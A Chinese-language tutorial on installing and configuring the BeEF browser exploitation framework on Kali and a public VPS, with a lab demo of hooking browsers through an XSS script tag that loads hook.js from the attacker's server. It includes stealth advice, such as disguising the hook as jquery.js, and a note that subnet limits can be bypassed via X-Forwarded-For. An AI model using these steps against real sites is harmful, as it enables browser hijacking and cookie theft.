🚩全文概覽
🚩簡介
BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年開始創建的,至今還在維護。是由ruby語言開發的專門針對瀏覽器攻擊的框架。BeEF的總體思路就是在內網下通過arp欺騙,修改response包,加入我們的鈎子。這個框架也屬於cs的結構,具體可以看下圖。
zombie(僵屍)即受害的瀏覽器。zombie是被hook(勾連)的,如果瀏覽器訪問了有勾子(由js編寫)的頁面,就會被hook,勾連的瀏覽器會執行初始代碼返回一些信息,接着zombie會每隔一段時間(默認為1秒)就會向BeEF服務器發送一個請求,詢問是否有新的代碼需要執行。BeEF服務器本質上就像一個Web應用,被分為前端UI, 和后端。前端會輪詢后端是否有新的數據需要更新,同時前端也可以向后端發送指示, BeEF持有者可以通過瀏覽器來登錄BeEF 的后台管理UI。
kali已經把beef-xss做成服務了,推薦使用systemctl 命令來啟動或關閉beef服務器
systemctl start beef-xss.service #開啟beef systemctl stop beef-xss.service #關閉beef systemctl restart beef-xss.service #重啟beef
🚩公網安裝
在公網Ubuntu17下安裝beef

首先在vps中,初始用戶一般是root。root是沒法安裝某些ruby的一些擴展包(考慮到安全問題),所以需要一個降權的用戶。 #創建一個beef的用戶 useradd -m -d /home/beef -s /bin/bash beef #設置beef的密碼,最好使用強密碼 passwd beef #把beef用戶加入sudo, root 組 usermod -aG root,sudo beef #轉到beef用戶 su beef 接着就是安裝beef了 #進入家目錄 cd #獲取源文件 wget https://github.com/beefproject/beef/archive/master.zip sudo apt update && sudo apt upgrade -y && sudo apt install unzip ruby ruby-dev -y #解壓master.zip unzip master.zip cd beef-master #安裝beef ./install 筆者在安裝過程中遇到/var/lib/gems/2.3.0, /usr/local/bin 這兩個目錄沒有寫權限的錯誤,下面是解決方法 sudo chmod g+w /var/lib/gems/2.3.0 sudo chmod g+w /usr/local/bin #再次運行 ./install 把beef從sudo, root 組中移除 #運行 sudo chmod g-w /var/lib/gems/2.3.0 && sudo chmod g-w /usr/local/bin sudo gpasswd -d beef root && gpasswd -d beef sudo 最后運行beef, 建議別使用root來運行beef服務器, 既然已經創建了一個id為beef的用戶,那么以后都以這個用戶來運行beef服務器會更好。 #進入beef所在目錄 cd /home/beef/beef-master #以后台模式運行beef服務器,且即使ssh斷開了,也不影響beef 服務器。 nohup ./beef &
🚩配置
kali下的BeEF配置文件在 /usr/share/beef-xss/config.yaml,其它的配置文件也在這個目錄的子目錄下,往后在使用某些功能時,需要修改對應的配置文件。自主安裝的BeEF配置文件會在BeEF的主目錄下config.yaml,建議修改幾個地方:

### 指定某個網段,只有在這個網段的瀏覽器才能被hook permitted_hooking_subnet: "0.0.0.0/0" ### 指定某個網段,只有在這個網段的瀏覽器才能訪問管理UI permitted_ui_subnet: "0.0.0.0/0" ### 上面這兩項都是可以被繞過的,只要使用X-Forwarded-For首部繞過,一般不需要設置 ### 設置beef服務器的主機, 如果有自己的域名, 那么可以設置自己的域名, 沒有就使用默認 host: "0.0.0.0" ### 設置beef服務器監聽的端口, 可以自己定一個,比如8080, 記得端口號需要大於1024 port: "3000" ### 受害瀏覽器輪詢beef主機的時間, 默認為1秒,可以設置為更低。 xhr_poll_timeout: 1000 #public: "" # public hostname/IP address #public_port: "" # experimental ### 這是讓BeEF運行在一個反向代理或者NAT環境下才需要設置的。 ### 管理頁面的URI, 默認是/ui, 建議修改,這樣就不會讓別人找到你的管理頁面 web_ui_basepath: "/ui" ### hook_file 的名稱, 建議修改, 可以修改為jquery.js之類的來提升隱蔽性 hook_file: "/hook.js" ### 管理頁面登錄的用戶名和密碼, 這個一定要改,兩個都改是最好的 credentials: user: "beef" passwd: "beef"
默認無法使用msf模塊,因此還需要作如下配置連接msf。
注:host不可用127.0.0.1
啟動msf
🚩掛馬(初始控制)
啟動kali beef端(IP:192.168.187.149)
如果一個網站有XSS漏洞,然后你通過某種方式把你的payload(<script src="http://Attacker IP:3000/hook.js"></script>)發到這個有XSS漏洞的頁面,受害者點擊或者直接訪問那個界面時,就會不斷請求Attacker端的hook.js,以此實現盜cookie/釣魚等操作。
Win2003(IP:192.168.187.148)的WWW主目錄下有一網頁1.html。
本地訪問
主機訪問
回到Attacker端,可以看見虛擬機win2003和主機win10都已上鈎
參考文章